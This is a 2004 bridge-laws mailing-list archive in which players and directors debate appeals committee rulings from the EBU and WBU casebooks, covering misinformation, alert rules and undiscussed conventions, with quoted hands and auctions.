Message-ID: Todd M. Zimnoch: [snip] >evidence that something was wrong with >the ruling -- either the TD's, the AC's, >or judging by many casebook comments, >both. > >I probably misread you as well as >misphrased myself. I read you to mean >that since it's commonplace for the TD >and AC to disagree that it's somehow >unremarkable. I see it as evidence of a >problem. Why didn't they both reach the >same decision? Richard Hills: I partially agree and partially disagree with Todd's assessment of evidence. In some circumstances, it is highly appropriate for a TD and AC to disagree, and for *both* the TD and AC to be correct. One reason for the existence of Laws 92 and 93 (which establish appeal procedures) is that an Appeals Committee has more time to investigate facts, so an AC may therefore discover additional evidence that was impractical for a Director to unearth. Therefore, it is entirely possible that both a TD and an AC give impeccably correct (but different) rulings upon their respectively available facts. But..... Another panellist on the forthcoming 2003 EBU casebook gave this overall assessment of AC performance: >>Unfortunately, I think the general >>standard of the AC decisions was >>actually lower than in the past. For >>those cases where the Director and the >>AC reached different conclusions, more >>often than not I found myself agreeing >>with the Director and there were a >>couple where I thought both were wrong! [snip] >>The Directors invariably quoted the Law >>upon which their decision was based. >>The Committees need to do the same, [snip] >>or the Committee failed to recognise the >>very human traits of rationalisation and >>embellishment. >> >>An interesting set of Appeals with 48% >>of them resulting in some variation of >>the Director's decision by the >>Committee. I will leave it to others to >>attach what significance they wish to >>the statistic, but I am left with the >>feeling that this is much higher than in >>recent (EBU) times. Best wishes RJH From swillner@cfa.harvard.edu Mon Jul 19 02:41:43 2004 From: swillner@cfa.harvard.edu (Steve Willner) Date: Sun, 18 Jul 2004 21:41:43 -0400 Subject: [blml] Re: In-Reply-To: <200407190132.i6J1W673009098@cfa183.cfa.harvard.edu> References: <200407190132.i6J1W673009098@cfa183.cfa.harvard.edu> Message-ID: <40FB26D7.4050109@cfa.harvard.edu> SW>Taking time to SW>consider shouldn't prejudice my right to a proper ruling. From: "Marvin French" >>And that principle should be included in the TFLB, since TDs and ACs >>have adopted such prejudice with no legal justification. > From: > +=+ It could be a trifle futile to include in the laws a > prohibition of something people 'don't do' anyway. I don't understand what this refers to. Marv is suggesting, I think, that any request for a ruling within the Appeals Period should be given due consideration. I think the Laws already say so, but perhaps it could be clearer. > And as for what the pair in question were up to, pull > the other one. ~ G ~ +=+ And I thought I was the old and cynical one, or at least the cynical one. (Ah, well, I am younger than Grattan. Maybe I'm an idealist after all.) Why on earth does it matter what the pair were "trying to pull?" Either their opponents have committed an infraction or they haven't. The motivations of the pair asking for the ruling don't come into it unless their case is so weak as to merit a conduct penalty. From walt1@verizon.net Mon Jul 19 02:44:53 2004 From: walt1@verizon.net (Walt) Date: Sun, 18 Jul 2004 21:44:53 -0400 Subject: [blml] 2003 EBU casebook, appeal 4 In-Reply-To: <002001c46d27$01ce83c0$c9eec418@D2GX7R11> References: <20C6FC36-D917-11D8-ACE8-0030656F6826@rochester.rr.com> <002001c46d27$01ce83c0$c9eec418@D2GX7R11> Message-ID: <6.1.2.0.0.20040718214114.06579a50@incoming.verizon.net> At 08:26 PM 18/07/2004, Bill Bickford wrote: >This is interesting. I would have thought that a NT overcall as a passed >hand is always unusual and would assume so in an undiscussed with partner >situation. I see no point of playing it any other way. > >Cheers................................./Bill Bickford The auction was: >>WEST NORTH EAST SOUTH >>--- 1D Pass 1H >>1NT 3D Pass 3NT >>Pass Pass Pass The NT overcaller had not passed. Walt From swillner@cfa.harvard.edu Mon Jul 19 02:50:43 2004 From: swillner@cfa.harvard.edu (Steve Willner) Date: Sun, 18 Jul 2004 21:50:43 -0400 Subject: [blml] AC performance (was Reno ... four) Message-ID: <40FB28F3.6020903@cfa.harvard.edu> From: richard.hills@immi.gov.au [quoting a casebook commentary] >>An interesting set of Appeals with 48% >>of them resulting in some variation of >>the Director's decision by the >>Committee. By itself, this statistic seems about what one would want. If half the appeals affirm the TD ruling, it suggests neither an abundance of meritless appeals nor an abundance of poor TD rulings. A more useful statistic would be the fraction of all TD rulings overturned or (more practically) the number of reversals per table-session played. If TD's are doing their jobs well, that rate should be low, but it should not be surprising that _of rulings that go to appeal in the first place (and pass a screening step if there is one)_, a significant fraction are revised in some way. Another figure of merit, of course, is whether the eventual AC rulings are correct or not. From richard.hills@immi.gov.au Mon Jul 19 04:22:55 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Mon, 19 Jul 2004 13:22:55 +1000 Subject: [blml] AC performance (was Reno ... four) Message-ID: Richard Hills, quoting another's casebook commentary: [snip] >>An interesting set of Appeals with 48% of them >>resulting in some variation of the Director's >>decision by the Committee. Steve Willner's mathemagic: >By itself, this statistic seems about what one would >want. If half the appeals affirm the TD ruling, it >suggests neither an abundance of meritless appeals >nor an abundance of poor TD rulings. Richard Hills philosopher's stoning: Actually, I (and apparently my quotee) believe that a rate of 48% variations by ACs to TDs' decisions is way too many variations. In my opinion, Steve Willner's axioms are flawed. My axiom would be, "A trained TD officiating at a national EBU championship is likely to be correct more than 52% of the time in cases when a disgruntled pair appeals that TD's ruling." The philosophical consequences of my axiom are: 1. Less than 48% of EBU national appeals should have succeeded. 2. Untrained EBU ACs (which sometimes fail to quote the Laws when announcing their rulings) will more often perpetrate an incorrect ruling than trained EBU TDs (who always quote the Laws when announcing their rulings). For example, in the parallel "2003 EBU casebook, appeal 4" thread, an EBU TD gave this legal ruling, quoting the Laws -> "Misinformation. Laws 21B3 and 12C2." An EBU AC arbitrarily ruled a different set of facts -> "We accepted that E/W had different ideas of what 1NT was" At this point, the AC should have read the footnote to Law 75, and realised that the AC's acceptance of E/W not having an agreement meant that West's call of 1NT with 5/5 shape was a legal misbid, so therefore E/W had not committed an infraction. Instead, the AC illegally went on to say -> "but they had played together for some time and their failure to be able to explain damaged N/S and made it much more difficult to bid to 4H." Best wishes RJH From richard.hills@immi.gov.au Mon Jul 19 05:10:30 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Mon, 19 Jul 2004 14:10:30 +1000 Subject: [blml] Reno NABC+ appeal number two Message-ID: Grattan Endicott: >>+=+ Only when guided explicitly as to the regulation >>can the AC judge how the facts fit to it. +=+ Kojak: >Guided by whom ? > >=K= Richard Hills: In my opinion, if an AC has not been explicitly guided upon the interpretation of a Law or regulation, then the AC should *ask* the CTD for guidance. Unfortunately, many ACs childishly decide to make up their own interpretations willy-nilly, using the childish argument, "Mum, no-one told us not to!" Law 93B1: >>>The Chief Director shall hear and rule upon such >>>part of the appeal as deals solely with the Law or >>>regulations. His ruling may be appealed to the >>>committee. Best wishes RJH From TG0JLH1@wpo.cso.niu.edu Mon Jul 19 05:28:41 2004 From: TG0JLH1@wpo.cso.niu.edu (James Hudson) Date: Sun, 18 Jul 2004 23:28:41 -0500 Subject: [blml] AC performance (was Reno ... four) Message-ID: >>> 7/18/2004 10:22:55 PM >>> . . . <> ------------------------ This is hardly an "axiom." The rate of TD errors in cases brought to appeal depends on many factors. Especially important is the cost to the appellants of losing the appeal. If this is low there will be many frivolous appeals, and so the TDs will probably in fact have ruled correctly in a great majority of the cases appealed. If it is high, appeals will occur only when the appellants are pretty sure of winning, and so the TDs will be reversed by the ACs in a large proportion of the (much smaller number of) cases appealed. <<2. Untrained EBU ACs (which sometimes fail to quote the Laws when announcing their rulings) will more often perpetrate an incorrect ruling than trained EBU TDs (who always quote the Laws when announcing their rulings).>> Perhaps; but the ACs have the TDs ruling before them, which gives them an advantage over the TDs, who had to deal with the case from scratch. Jim Hudson From mustikka@charter.net Mon Jul 19 05:38:45 2004 From: mustikka@charter.net (Raija Davis) Date: Sun, 18 Jul 2004 21:38:45 -0700 Subject: [blml] Reno NABC+ appeal number two References: <200407151604.i6FG4Wd7006741@cfa.harvard.edu> <40FAC8E4.7060201@cfa.harvard.edu> Message-ID: <006101c46d4a$47162e60$76b2b018@hewlettnvdluy3> ----- Original Message ----- From: "Steve Willner" To: Sent: Sunday, July 18, 2004 12:00 PM Subject: Re: [blml] Reno NABC+ appeal number two > > From: "grandeval" > > As Director when they came to me after the round > > I would have found it "difficult" to establish the facts in > > such circumstances, and left NS to do any appealing > > if they wished. As AC member I would have little > > sympathy about NS not calling the Director to the table, > > I would have thought about pairs who look for a way > > of getting their score back from the Director or in the > > committee room, and my answer to (3) above would > > likely have favoured EW. > > I hope this is a minority view. While it may indeed be more difficult > to establish the facts once time has elapsed, putting the word in quotes > seems to imply putting artificial obstacles in the way of a fair ruling. > That is surely no part of a Director's job. > > As to the AC, I fail to see why we should disadvantage players who > before asking for a ruling take time to consider (or consult) as to > whether they were damaged by illegal conduct. When I get a bad score, > my first thought is to blame my own bad play, not to suspect my > opponents of an infraction. On rare occasions there has been an > infraction after all, but if I called the TD for every bad board I > received, the TD wouldn't have time to do anything else. Taking time to > consider shouldn't prejudice my right to a proper ruling. Well said. From ereppert@rochester.rr.com Mon Jul 19 07:33:17 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Mon, 19 Jul 2004 02:33:17 -0400 Subject: [blml] 2003 EBU casebook, appeal 4 In-Reply-To: <002001c46d27$01ce83c0$c9eec418@D2GX7R11> Message-ID: <852E0D28-D94D-11D8-ACE8-0030656F6826@rochester.rr.com> On Sunday, Jul 18, 2004, at 20:26 US/Eastern, Bill Bickford wrote: > This is interesting. I would have thought that a NT overcall as a > passed > hand is always unusual and would assume so in an undiscussed with > partner > situation. I see no point of playing it any other way. Hm. You're probably right, come to think on it. But East apparently doesn't agree. :-) From ereppert@rochester.rr.com Mon Jul 19 07:38:40 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Mon, 19 Jul 2004 02:38:40 -0400 Subject: [blml] 2003 EBU casebook, appeal 4 In-Reply-To: <002001c46d27$01ce83c0$c9eec418@D2GX7R11> Message-ID: <455891A6-D94E-11D8-ACE8-0030656F6826@rochester.rr.com> On Sunday, Jul 18, 2004, at 20:26 US/Eastern, Bill Bickford wrote: > This is interesting. I would have thought that a NT overcall as a > passed > hand is always unusual and would assume so in an undiscussed with > partner > situation. I see no point of playing it any other way. Please disregard my last. Having reviewed the auction again, I find that West was *not* a passed hand when he bid 1NT. From ereppert@rochester.rr.com Mon Jul 19 07:44:29 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Mon, 19 Jul 2004 02:44:29 -0400 Subject: [blml] 2003 EBU casebook, appeal 4 In-Reply-To: Message-ID: <157CBA88-D94F-11D8-ACE8-0030656F6826@rochester.rr.com> On Sunday, Jul 18, 2004, at 20:39 US/Eastern, richard.hills@immi.gov.au wrote: > Richard Hills initially: > >>> Basis of appeal: >>> East does not play 1NT as showing a 5/5 hand. > > Ed Reppert: > >> Not much of a basis, IMO. > > Richard Hills currently: > > In my opinion, that is very much a basis, and is > highly congruent with the footnote to Law 75: > > "the mistake was in South's bid. Here there is > no infraction of Law, since East-West did > receive an accurate description of the North- > South agreement; they have no claim to an > accurate description of the North-South hands." My comment was based on the thought that what *East* plays is not germane - the question is "what does the *partnership* play?" :-) > Ed overlooked the actual AC's actual assessment > of fact -> > > "We accepted that E/W had different ideas of > what 1NT was" > > Given that AC assessment of fact, as an English > Appeals Committee how *should* (not how would) > you rule? I didn't overlook it, it just seemed to me I wanted more information than was given. However, given that assessment, it appears that the AC decided that the partnership did not have an agreement (implicit or explicit) that 1NT is unusual in the given auction. That being the case, 1NT must default to whatever meaning general bridge knowledge gives it, and *that* being the case, it is not alertable, as I understand the EBU alert regs. Therefore, there was no misinformation, and therefore, there should be no score adjustment. Oh, and 1NT was a misbid. How's that? ;-) From mfrench1@san.rr.com Mon Jul 19 08:13:45 2004 From: mfrench1@san.rr.com (Marvin French) Date: Mon, 19 Jul 2004 00:13:45 -0700 Subject: [blml] A player's view References: <001401c46bba$11a60ac0$6401a8c0@san.rr.com> <001201c46d1b$527461c0$404f1d53@kocurzak> Message-ID: <000b01c46d5f$efaf99c0$6401a8c0@san.rr.com> From: "Konrad Ciborowski" From: "Marvin French" > >> > Richard Hills: > > > > The 1987 version of Law 74C5 reads, in part, > > "...(but it is appropriate to act on information > > acquired by inadvertently seeing an opponent's > > card)." > >> Appropriate in rubber bridge, and perhaps knockout team play, but not > in other forms of the game. >Why not? It provides an unfair advantage over others in the field, who have not seen the card(s) you have seen. L16B says that sight of an opponent's card(s) before the auction begins is UI and the TD should be called. I do not see why that should not hold true for the entire deal. That's the way it was before 1987, and it should not have been changed. Of course many TDs would oppose such a revision to L16B because it would make more work for them. Marv Marvin L. French San Diego, California From richard.hills@immi.gov.au Mon Jul 19 08:13:37 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Mon, 19 Jul 2004 17:13:37 +1000 Subject: [blml] Undiscussed alerts & anti-systemic alerts Message-ID: John (MadDog) Probst: >>OB - section on alerts >> >>5.1.4 Alert any call of your partner which you >>believe to be alertable even if you cannot explain >>its meaning. >> >>5.1.5 When there is no alert, your opponents can >>assume that the call does not fall within an >>alertable category. >> >>So, further to my comments elsewhere: >>5.1.4 tells me to alert unless I know 1NT is >>natural. 5.1.5 tells me I'm about to get screwed if >>1NT is not natural. William Jefferson Clinton: >It depends on what the meaning of the word "is" is. Richard Hills: In my opinion, MadDog has walked straight into the Monty Wolff trap, and *is* implicitly stating that the so-called infraction of Convention Disruption actually exists. In my opinion, MadDog should not be asking about whether "1NT *is* natural" or "1NT *is* not natural". In my opinion, that *is* the wrong question. Rather, in my opinion, the threefold question should be: (a) *Is* 1NT, by partnership agreement, natural? or (b) *Is* 1NT, by partnership agreement, not natural? or (c) *Is* there zero partnership agreement (neither explicit nor implicit) about the meaning of 1NT? A classic example, in which both the TD and AC fell into the Monty Wolff trap, *is* appeal number eight in the forthcoming 2003 WBU casebook. See attached. Best wishes RJH * * * APPEAL No 8: Weighted assignment Tournament Director: Ken Richardson Appeals Committee: Roland Bolton (Chairman) Jim Luck Chris Rochelle Swiss Teams Board no 14 Dealer East None vulnerable Q93 K4 K43 AQ953 J4 A2 QJ8763 T9 T6 AQJ982 T62 K74 KT8765 A52 73 J8 WEST NORTH EAST SOUTH --- --- 1D 2S 2NT(1) 3S 3NT Pass Pass Pass (1) Intended as Lebensohl: not alerted. Result at table: 3NT -6 by West, NS +300, lead S3 Director first called: At end of hand Director's statement of facts: E/W had agreed to play Lebensohl, but disagreed as to whether it applied in this situation. North was not given the correct explanation. West failed to inform North (Law 75D2) that East should have alerted 2NT. If West had done so, as required by Law, the bidding could have been re-opened for North, who would have had the chance to correct his final bid (pass) without penalty. Director's ruling: Score assigned for both sides (Law 12C3): 75% of 3NT doubled -6 by West, NS +1400 + 25% of 4S -1 by South, NS -50 = NS +837 Details of ruling: West may not bid on the failure of East to alert 2NT, when East chooses to bid 3NT to play West should trust partner and play there when it is doubled. North may choose to bid 4S instead of double. Judged as 75% - 25%. (Other contracts are possible.) Appeal lodged by: East-West Comments by East-West: **Partnership has no agreement to play Lebensohl in this situation.** {My emphasis - RJH} [Remainder of East-West comments snipped] Appeals Committee decision: Score assigned for both sides: 3NT doubled -6 by West, NS +1400 Deposit returned Appeals Committee's comments: After East's supposedly strong bid, we see no reason for West to remove to 4S after the double of 3NT. In our view no reason why 4S bid should be considered by N/S. Hence this is removed from the TD's calculations. From mfrench1@san.rr.com Mon Jul 19 08:28:59 2004 From: mfrench1@san.rr.com (Marvin French) Date: Mon, 19 Jul 2004 00:28:59 -0700 Subject: [blml] Re: References: <200407190132.i6J1W673009098@cfa183.cfa.harvard.edu> <40FB26D7.4050109@cfa.harvard.edu> Message-ID: <001e01c46d62$102fb0c0$6401a8c0@san.rr.com> Steve Wilner wrote: > Marv is suggesting, I think, > that any request for a ruling within the Appeals Period should be given > due consideration. I think the Laws already say so, but perhaps it > could be clearer. > Yes, *all due* consideration, which they often do not get now. > Why on earth does it matter what the pair were "trying to pull?" Either > their opponents have committed an infraction or they haven't. The > motivations of the pair asking for the ruling don't come into it unless > their case is so weak as to merit a conduct penalty. > Exactly. There should be no criticism of a pair who want the Laws applied in order to "win by adjudication what they could not win at the table," if an infraction prevented them from winning at the table. If it takes some time for them to decide on and formulate their case, that should have no effect on the legal process (other than a possibly greater difficulty in determining the facts). Marv Marvin L. French San Diego, California From gordon@gordonrainsford.co.uk Mon Jul 19 09:50:18 2004 From: gordon@gordonrainsford.co.uk (Gordon Rainsford) Date: Mon, 19 Jul 2004 09:50:18 +0100 Subject: [blml] 2003 EBU casebook, appeal 4 In-Reply-To: References: Message-ID: On 19 Jul 2004, at 00:22, John (MadDog) Probst wrote: > This one is pretty clear. If they can show 1N is *not* the blacks then > result stands, and they'll need to have it on their cc's, or have very > good arguments. 1NT is often Nat here btw in this auction. It will be > unlikely they can prove it, so I would adjust most of the time. I > don't > think there'd be *any* (for *any* read well not much) argument amongst > the English ACs or TDs about this. Nailing oppo with a screwed up 5-5 > agreement just gets you a bad score - every time. john I'd have thought that most EWs, but the very weak, would have been expected to protect themselves by asking. It's a situation commonly played either way. Do we know the standard of EW players? -- Gordon Rainsford London UK From jaapvanderneut@hotmail.com Mon Jul 19 10:41:59 2004 From: jaapvanderneut@hotmail.com (Jaap van der Neut) Date: Mon, 19 Jul 2004 11:41:59 +0200 Subject: [blml] 2003 EBU casebook, appeal 4 References: Message-ID: Dear all, South actually has a difficult bid after 3D. Suppose he would have known that 1NT = blacks 'gambling' 3NT remains a clear possibility. In the end 3NT by South might easily be the only winning game (give north some small spades and a club stop). I agree with Gordon that players but the very weak are supposed to protect themselves. South can be expected to ask about 1NT since it is typically a call for wich there is hardly a default meaning. So it might be a tad too easy for South to gamble 3NT and then to call the TD if he was wrong. On the other hand asking East would have gone nowhere (since East didn't bid 3S). So in the end I agree with Maddog. You have to protect opps against this kind of 'convention disruption'. In Holland we often give +3/-3 for this type of cases. For all kind of reasons you don't want to give the best possible result to NS (too extreme). One reason being that under current rules it is defendable that given no agreement there was no infraction in the first place (I don't support that view, also too extreme). But this is maybe another discussion. Jaap ----- Original Message ----- From: To: Sent: Monday, July 19, 2004 12:29 AM Subject: [blml] 2003 EBU casebook, appeal 4 > > > > > Appeal No 4: Is it unusually unusual? > > > Tournament Director: > Roland Bolton > > Appeals Committee: > Jeremy Dhondy (Chairman) Steve Capal David Jones > > Swiss Pairs --- > Dealer North KQ2 > EW vulnerable AKJT853 > JT7 > QT632 AJ875 > 74 T65 > 7 962 > AKQ64 85 > K94 > AJ983 > Q4 > 932 > > WEST NORTH EAST SOUTH > --- 1D Pass 1H > 1NT 3D Pass 3NT > Pass Pass Pass > > > Result at table: > 3NT -2 by South, NS -100 > > Director first called: > At end of hand by South > > Director's statement of facts: > South claimed damage because of failure to alert 1NT bid > by West, which showed spades and clubs. > > North stated that had she known that West was showing 5/5 > in spades and clubs she would not have passed 3NT. > > Director's ruling: > Score assigned for both sides: > 4H making by South, NS +420 > > Details of ruling: > Misinformation. Laws 21B3 and 12C2. > > Appeal lodged by: > East-West > > Basis of appeal: > East does not play 1NT as showing a 5/5 hand. > > Appeals Committee decision: > > [deliberately snipped] > > Appeals Committee's comments: > We accepted that E/W had different ideas of what 1NT was > > [remainder of Appeals Committee's comments deliberately > snipped] > > As an English Appeals Committee, how should you rule? > > Best wishes > > Richard Hills > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml From Frances.Hinden@Shell.com Mon Jul 19 11:37:42 2004 From: Frances.Hinden@Shell.com (Hinden, Frances SI-PXS) Date: Mon, 19 Jul 2004 11:37:42 +0100 Subject: [blml] 2003 EBU casebook, appeal 4 Message-ID: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E101816C6D@lonsc-s-031.europe.shell.com> -----Original Message----- From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org]On Behalf Of Jaap van der Neut Sent: 19 July 2004 10:42 To: blml; richard.hills@immi.gov.au Subject: Re: [blml] 2003 EBU casebook, appeal 4 Dear all, South actually has a difficult bid after 3D. Suppose he would have known that 1NT =3D blacks 'gambling' 3NT remains a clear possibility. In the = end 3NT by South might easily be the only winning game (give north some = small spades and a club stop). I agree with Gordon that players but the very weak are supposed to = protect themselves. South can be expected to ask about 1NT since it is typically = a call for wich there is hardly a default meaning. So it might be a tad = too easy for South to gamble 3NT and then to call the TD if he was wrong. On = the other hand asking East would have gone nowhere (since East didn't bid = 3S). ------------------------------------- In the UK, I have _never_ knowingly played a pair who have a partnership = agreement that 1NT isn't natural here. It is only by reading rgb and similar international fora that I learn it is common to play it as unusual = elsewhere. It is quite reasonable, IMO, to assume it's natural when it isn't = alerted, and South has no obligation to ask "to protect himself". From grandeval@vejez.fsnet.co.uk Mon Jul 19 12:50:42 2004 From: grandeval@vejez.fsnet.co.uk (grandeval) Date: Mon, 19 Jul 2004 12:50:42 +0100 Subject: [blml] 2003 EBU casebook, appeal 4 References: Message-ID: <008601c46d86$b778a980$20ca87d9@4nrw70j> Grattan Endicott To: Sent: Monday, July 19, 2004 1:39 AM Subject: Re: [blml] 2003 EBU casebook, appeal 4 > > Richard Hills currently: > > Ed overlooked the actual AC's actual assessment > of fact -> > > "We accepted that E/W had different ideas of > what 1NT was" > > Given that AC assessment of fact, as an English > Appeals Committee how *should* (not how would) > you rule? > +=+ The AC does not say in this comment that it found specifically 'no agreement'. E-W could have different ideas and still be found to have an agreement. But I think they are saying that E/W had different views of what would be general bridge experience. The AC named is a very strong one - quality players and a very experienced chairman who is currently a member of the EBU Laws & Ethics Committee. The case apparently did not evoke additional comment from the L&E - may have been removed from those going to the L&E by the filtering panel.(at present Fleet, Barnfield, Stevenson). The current batch of appeals going to the July 2004 meeting of the L&E - being those on which one or more filterers commented - number only some 13 or 14 - light work on this occasion except for the fact that it includes one involving a decision by G. Endicott (on site referee) in telephone consultation with R J Fleet in the case of on appeal from a ruling by D W Stevenson (Director)!. ~ G ~ +=+ From grandeval@vejez.fsnet.co.uk Mon Jul 19 13:30:40 2004 From: grandeval@vejez.fsnet.co.uk (grandeval) Date: Mon, 19 Jul 2004 13:30:40 +0100 Subject: [blml] Re: References: <200407190132.i6J1W673009098@cfa183.cfa.harvard.edu> <40FB26D7.4050109@cfa.harvard.edu> <001e01c46d62$102fb0c0$6401a8c0@san.rr.com> Message-ID: <009301c46d8c$a0a16fc0$20ca87d9@4nrw70j> Grattan Endicott To: Sent: Monday, July 19, 2004 8:28 AM Subject: Re: [blml] Re: > > > Exactly. There should be no criticism of a pair who > want the Laws applied in order to "win by adjudication > what they could not win at the table," if an infraction > prevented them from winning at the table. If it takes > some time for them to decide on and formulate their > case, that should have no effect on the legal process > (other than a possibly greater difficulty in determining > the facts). > +=+ Broadly so. But looking a little deeper here, the delay in the case was in asking for the ruling from the Director, for which the pair only has to believe there has been an infraction - they are not called upon to "formulate their case". The Director establishes the facts, determines whether an irregularity has occurred, and applies the law. Delay in asking for the initial ruling can jeopardize the possibilities of establishing the facts. I do not understand why it was only two rounds later that they came to the conclusion that they had been victims of an opponent's infraction, without apparently having gained information they did not have at the table. Delay in deciding to appeal a ruling is a different matter - if they are within time they are within time and the delay does not alter the merits of the appeal or the potential of the AC to deal with it. The matter of when the Director was called is one of the recorded facts of the case and is open to consideration by the AC. ~ Grattan ~ +=+ From twm@cix.co.uk Mon Jul 19 14:05:00 2004 From: twm@cix.co.uk (Tim West-Meads) Date: Mon, 19 Jul 2004 14:05 +0100 (BST) Subject: [blml] 2003 EBU casebook, appeal 4 In-Reply-To: Message-ID: Richard wrote: > Appeals Committee's comments: > We accepted that E/W had different ideas of what 1NT was Not enough info. For instance if East plays 1NT as t/o but not showing 5/5 the 1N is still alertable but the pass of 3D is strong evidence that East *took* 1N as natural so I think we are OK there. The EBU requires alerts when "in doubt" as to whether partner's call is conventional so we must also establish whether East might have grounds for such doubt. Since the normal (undiscussed) meaning for this bid I tend towards ruling result stands but would ask further questions before so doing. Tim From cibor@poczta.fm Mon Jul 19 14:08:57 2004 From: cibor@poczta.fm (Konrad Ciborowski) Date: Mon, 19 Jul 2004 15:08:57 +0200 Subject: [blml] A player's view References: <001401c46bba$11a60ac0$6401a8c0@san.rr.com> <001201c46d1b$527461c0$404f1d53@kocurzak> <000b01c46d5f$efaf99c0$6401a8c0@san.rr.com> Message-ID: <006201c46d91$8fcfeaf0$6a51fea9@ams.com> ----- Original Message -----=20 From: "Marvin French" To: Sent: Monday, July 19, 2004 9:13 AM Subject: Re: [blml] A player's view > > From: "Konrad Ciborowski" > > From: "Marvin French" > > > >> > Richard Hills: > > > > > > The 1987 version of Law 74C5 reads, in part, > > > "...(but it is appropriate to act on information > > > acquired by inadvertently seeing an opponent's > > > card)." > > > >> Appropriate in rubber bridge, and perhaps knockout team play, but > not > > in other forms of the game. > > >Why not? > > It provides an unfair advantage over others in the field, So do the revokes, idiotic plays, system forgets, miscounting trumps and all kinds of mistakes. Keeping your cards invisible for your opponents is an element of play. There is no difference if I am the only one to go down in 4S because I let my opponent see my cards or because I miscounted trumps. We are just one step from making a law saying that an ethical player who gets "an undeserved windfall" (e.g. his opponents have a bidding misunderstanding and end up in a grand slam without 3 aces and a king of trumps) should call the TD and ask him to adjust the score "to protect the field". Konrad Ciborowski Krak=F3w, Poland From jaapvanderneut@xs4all.nl Mon Jul 19 14:16:23 2004 From: jaapvanderneut@xs4all.nl (Jaap van der Neut) Date: Mon, 19 Jul 2004 15:16:23 +0200 Subject: [blml] 2003 EBU casebook, appeal 4 References: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E101816C6D@lonsc-s-031.europe.shell.com> Message-ID: <005801c46d93$b9d79530$6402a8c0@yourhpbmye9tmb> Frances, > It is quite reasonable, IMO, to assume it's natural when it isn't alerted, and > South has no obligation to ask "to protect himself". If you state that 90% or so play this as natural in the UK I believe you (although someone bidding 1NT here without sure agreement strongly suggest it is nowhere near 90%) and then I agree with your view about 'protecting yourself'. Still holding a nice 10 count in this sequence I cannot imagine not asking myself. But who cares, I also said that he couldn't protect himself by asking because no useful answer would be forthcoming. Outside the UK, at least in a lot of countries where I have some experience, I will never assume anything about the meaning of 1NT. Often it is a twosuiter, another frequent treatment is 4S with longer C, and yes some play it as natural. I do as well by the way. Jaap ----- Original Message ----- From: "Hinden, Frances SI-PXS" To: "blml" Sent: Monday, July 19, 2004 12:37 PM Subject: RE: [blml] 2003 EBU casebook, appeal 4 -----Original Message----- From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org]On Behalf Of Jaap van der Neut Sent: 19 July 2004 10:42 To: blml; richard.hills@immi.gov.au Subject: Re: [blml] 2003 EBU casebook, appeal 4 Dear all, South actually has a difficult bid after 3D. Suppose he would have known that 1NT = blacks 'gambling' 3NT remains a clear possibility. In the end 3NT by South might easily be the only winning game (give north some small spades and a club stop). I agree with Gordon that players but the very weak are supposed to protect themselves. South can be expected to ask about 1NT since it is typically a call for wich there is hardly a default meaning. So it might be a tad too easy for South to gamble 3NT and then to call the TD if he was wrong. On the other hand asking East would have gone nowhere (since East didn't bid 3S). ------------------------------------- In the UK, I have _never_ knowingly played a pair who have a partnership agreement that 1NT isn't natural here. It is only by reading rgb and similar international fora that I learn it is common to play it as unusual elsewhere. It is quite reasonable, IMO, to assume it's natural when it isn't alerted, and South has no obligation to ask "to protect himself". _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml From jaapvanderneut@hotmail.com Mon Jul 19 14:30:06 2004 From: jaapvanderneut@hotmail.com (Jaap van der Neut) Date: Mon, 19 Jul 2004 15:30:06 +0200 Subject: [blml] Undiscussed alerts & anti-systemic alerts References: Message-ID: Monthy Wolff Trap ? Well dear Richard, As I said already, convention disruption is not such an easy subject. According to the letter of the current law you are right. But; In Holland since years we rule +3/-3 in such cases even without the backing of local suplementary laws. In Poland this has been codified (if my sources are correct), I don't know all the details but basically convention disruption is treated as MI in all cases (so your a or b or c is irrelevant).This is the way it should be done in my view. You can play whatever you want but you are responsible for screwing up your conventions whatever way you do it. Apart from protecting opps (who never asked you to play Omsk-Tomsk-relay, it keeps things managable for the TD/AC. Internationally TD's have instructions to rule MI rather than misbid when in doubt. Of course now the problem is what constitutes 'doubt' (ask Clinton maybe). So there is no real Monthy Trap. It is just lagging law texts I guess. Jaap ----- Original Message ----- From: To: Sent: Monday, July 19, 2004 9:13 AM Subject: Re: [blml] Undiscussed alerts & anti-systemic alerts > > > > > John (MadDog) Probst: > > >>OB - section on alerts > >> > >>5.1.4 Alert any call of your partner which you > >>believe to be alertable even if you cannot explain > >>its meaning. > >> > >>5.1.5 When there is no alert, your opponents can > >>assume that the call does not fall within an > >>alertable category. > >> > >>So, further to my comments elsewhere: > >>5.1.4 tells me to alert unless I know 1NT is > >>natural. 5.1.5 tells me I'm about to get screwed if > >>1NT is not natural. > > William Jefferson Clinton: > > >It depends on what the meaning of the word "is" is. > > Richard Hills: > > In my opinion, MadDog has walked straight into the > Monty Wolff trap, and *is* implicitly stating that > the so-called infraction of Convention Disruption > actually exists. > > In my opinion, MadDog should not be asking about > whether "1NT *is* natural" or "1NT *is* not natural". > In my opinion, that *is* the wrong question. > > Rather, in my opinion, the threefold question should > be: > > (a) *Is* 1NT, by partnership agreement, natural? > > or > > (b) *Is* 1NT, by partnership agreement, not natural? > > or > > (c) *Is* there zero partnership agreement (neither > explicit nor implicit) about the meaning of 1NT? > > A classic example, in which both the TD and AC fell > into the Monty Wolff trap, *is* appeal number eight > in the forthcoming 2003 WBU casebook. See attached. > > Best wishes > > RJH > > * * * > > APPEAL No 8: Weighted assignment > > > Tournament Director: > Ken Richardson > > Appeals Committee: > Roland Bolton (Chairman) Jim Luck Chris Rochelle > > > Swiss Teams > Board no 14 > Dealer East > None vulnerable > > Q93 > K4 > K43 > AQ953 > J4 A2 > QJ8763 T9 > T6 AQJ982 > T62 K74 > KT8765 > A52 > 73 > J8 > > > WEST NORTH EAST SOUTH > --- --- 1D 2S > 2NT(1) 3S 3NT Pass > Pass Pass > > (1) Intended as Lebensohl: not alerted. > > Result at table: > 3NT -6 